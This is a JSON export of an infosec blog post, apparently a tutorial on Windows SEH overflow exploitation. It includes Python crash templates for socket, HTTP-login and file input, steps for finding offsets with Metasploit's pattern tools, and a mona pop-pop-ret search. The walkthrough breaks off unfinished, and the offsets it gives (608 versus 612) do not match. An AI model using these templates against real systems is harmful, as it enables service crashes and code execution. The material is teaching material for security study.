{"id":3397,"date":"2021-08-08T10:09:43","date_gmt":"2021-08-08T08:09:43","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=3397"},"modified":"2023-12-24T12:49:06","modified_gmt":"2023-12-24T11:49:06","slug":"seh-structured-exception-handler-overflow","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=3397","title":{"rendered":"<span class=\"caps\">SEH<\/span> Structured Exception Handler overflow"},"content":{"rendered":"\n<ul class=\"wp-block-list\"><li>Assume you have <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=356\" data-type=\"post\" data-id=\"356\">a buffer over\u00adflow vul\u00adner\u00ada\u00adbil\u00adi\u00adty<\/a>.<\/li><li>You can con\u00adtrol the&nbsp;<span class=\"caps\">EIP<\/span>.<\/li><li>But your shell\u00adcode is nev\u00ader executed.<\/li><li>Your shell\u00adcode is exe\u00adcut\u00aded when a ret instruc\u00adtion is exe\u00adcut\u00aded which calls the address you overwrite.<\/li><li>But maybe the ret at the end of the func\u00adtion where the buffer over\u00adflow occurs is nev\u00ader reached, because you over\u00adwrote the buffer which is also used in oth\u00ader vari\u00adables \/ func\u00adtions which are exe\u00adcut\u00aded after the buffer over\u00adflow vul\u00adner\u00ada\u00adbil\u00adi\u00adty and before the ret instruction.<\/li><li>For exam\u00adple, you over\u00adwrote an address which is called from a func\u00adtion before the func\u00adtion\u2019s ret \u2014 but this address is now over\u00adwrit\u00adten with garbage.<\/li><li>Then, an excep\u00adtion is thrown and your code is nev\u00ader executed.<\/li><li>In such a case, we can over\u00adwrite the <span class=\"caps\">SEH<\/span> Struc\u00adtured Exep\u00adtion Han\u00addler to gain code execution.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">The <span class=\"caps\">SEH<\/span> Structured Exception Handler<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If an excep\u00adtion occurs, Win\u00addows will go through a chain of excep\u00adtion han\u00addlers, which are defined by the appli\u00adca\u00adtion. If the chain comes to an end, a final excep\u00adtion han\u00addler from Win\u00addows is called, which will ter\u00admi\u00adnate the pro\u00adgram. The address\u00ades of the excep\u00adtion han\u00addlers are on the stack and can be overwritten.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fol\u00adlow\u00ading dia\u00adgram shows the struc\u00adture of the <span class=\"caps\">SEH<\/span> in the mem\u00ado\u00adry. The <span class=\"caps\">SEH<\/span> con\u00adsists out of n sep\u00ada\u00adrate excep\u00adtion han\u00addlers. Our goal is to over\u00adwrite the point\u00ader of the first <span class=\"caps\">SEH<\/span> to own inject\u00aded&nbsp;code.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"440\" height=\"690\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2021\/08\/seh.png\" alt class=\"wp-image-3400\" srcset=\"https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/seh.png 440w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/seh-191x300.png 191w\" sizes=\"auto, (max-width: 440px) 100vw, 440px\"><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"caps\">SEH<\/span> overflow walkthrough templates<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Depend\u00ading on the input for the appli\u00adca\u00adtion, here are three tem\u00adplates to start&nbsp;with:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Overflow via a socket<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme data-enlighter-highlight data-enlighter-linenumbers data-enlighter-lineoffset data-enlighter-title data-enlighter-group>#!\/usr\/bin\/python\n\nimport socket\nimport time\nimport sys\n\nip = \"10.10.10.10\"\nport = 8080\n\n# Add here the command before the payload. In this case\n# we write \"SOME_FUCTION_NAME AAAAAAA...\" to the socket.\nprefix = \"SOME_FUCTION_NAME \"\noverflow = \"A\" * 8192\nbuffer = prefix + overflow\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((ip, port))\ns.send(buffer + \"\\r\\n\")\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Overflow via a <span class=\"caps\">HTTP<\/span> connection<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme data-enlighter-highlight data-enlighter-linenumbers data-enlighter-lineoffset data-enlighter-title data-enlighter-group>#!\/usr\/bin\/python\n\nimport socket\nimport time\nimport sys\n\nip = \"10.10.10.10\"\nport = 8080\n\n# Adapt the parameters for the server. In this case we send 8192 A's\n# as username with a fixed password.\ninputBuffer = \"A\" * 8192\ncontent = \"username=\" + inputBuffer + \"&amp;password=A\"\n\nbuffer = \"POST \/login HTTP\/1.1\\r\\n\"\nbuffer += \"Host: 127.0.0.1\\r\\n\"\nbuffer += \"User-Agent: Mozilla\/5.0 (X11; Linux_86_64; rv:52.0) Gecko\/20100101 Firefox\\r\\n\"\nbuffer += \"Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\r\\n\"\nbuffer += \"Connection: close\\r\\n\"\nbuffer += \"Content-Type: application\/x-www-form-urlencoded\\r\\n\"\nbuffer += \"Content-Length: \"+str(len(content))+\"\\r\\n\"\nbuffer += \"\\r\\n\"\nbuffer += content\n\ns = socket.socket (socket.AF_INET, socket.SOCK_STREAM)\ns.connect((ip, port))\ns.send(buffer)\ns.close()\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Overflow via a&nbsp;file<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme data-enlighter-highlight data-enlighter-linenumbers data-enlighter-lineoffset data-enlighter-title data-enlighter-group># This only writes the payload. Of course you have to change this\n# to output a valid file for your target program.\nx = open('filename_with.suffix', 'w')\npayload = (\"A\" * 8192)\nx.write(payload)\nx.close()<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"caps\">SEH<\/span> overflow walkthrough<\/h2>\n\n\n\n<ol class=\"wp-block-list\"><li>Per\u00adform a buffer over\u00adflow with a tem\u00adplate script from above and inspect the crash in a debug\u00adger. Look through the over\u00adwrit\u00adten mem\u00ado\u00adry and note where the debug\u00adger shows that at this place a point\u00ader to a <span class=\"caps\">SEH<\/span> record should be. At this address, there was before the over\u00adwrit\u00ading the first <span class=\"caps\">SEH<\/span> pointer.<br><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"478\" class=\"wp-image-3407\" style=\"width: 600px;\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.48.07.png\" alt srcset=\"https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.48.07.png 1194w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.48.07-300x239.png 300w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.48.07-1024x816.png 1024w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.48.07-768x612.png 768w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\"><\/li><li>Deter\u00admine the posi\u00adtion where the point\u00ader to next <span class=\"caps\">SEH<\/span> record starts rel\u00ada\u00adtive to your input. Use<br><code>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 1024<\/code><br>to get a pat\u00adtern and use this as input instead. Exe\u00adcute the buffer over\u00adflow again. We see that now it crashed (in our exam\u00adple) at the address with val\u00adue <code>0x41347541<\/code>.<br><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"357\" class=\"wp-image-3410\" style=\"width: 600px;\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.53.56.png\" alt srcset=\"https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.53.56.png 1154w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.53.56-300x178.png 300w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.53.56-1024x609.png 1024w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-10.53.56-768x457.png 768w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\"><br>We ask pattern_offset where this val\u00adue starts in the gen\u00ader\u00adat\u00aded string and got off\u00adset 608.<br><code>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -l 1024 -q 41347541<br>[*] Exact match at offset 612<\/code><\/li><li>Now we need the address of a pop-pop-ret instruc\u00adtion sequence (two pops because we need to go out of the <span class=\"caps\">SEH<\/span> \/ remove the first two stack entries before our inject\u00aded address lies on the top of the stack ready to be exe\u00adcut\u00aded by the last ret). For exam\u00adple, in mona:<br>!mona seh \u2011m your_library.dll<br>This way we found some and choose one with\u00adout acti\u00advat\u00aded secu\u00adri\u00adty flags like <code>0x64113f4c<\/code>.<br><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"79\" class=\"wp-image-3417\" style=\"width: 600px;\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00.png\" alt srcset=\"https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00.png 2892w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00-300x39.png 300w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00-1024x135.png 1024w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00-768x101.png 768w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00-1536x202.png 1536w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2021\/08\/Bildschirmfoto-2021-08-08-um-11.12.00-2048x269.png 2048w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\"><\/li><li>f<\/li><\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Assume you have a buffer over\u00adflow vul\u00adner\u00ada\u00adbil\u00adi\u00adty. You can con\u00adtrol the&nbsp;<span class=\"caps\">EIP<\/span>. But your shell\u00adcode is nev\u00ader exe\u00adcut\u00aded. Your shell\u00adcode is exe\u00adcut\u00aded when a ret instruc\u00adtion is exe\u00adcut\u00aded which calls the address you over\u00adwrite. But maybe the ret at the end of the func\u00adtion where the buffer over\u00adflow occurs is nev\u00ader reached, because you over\u00adwrote&nbsp;the&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[101,439,440,24],"class_list":["post-3397","post","type-post","status-publish","format-standard","hentry","category-general","tag-buffer-overflow","tag-seh","tag-structured-exception-handler","tag-windows"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3397","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3397"}],"version-history":[{"count":9,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3397\/revisions"}],"predecessor-version":[{"id":3418,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/3397\/revisions\/3418"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}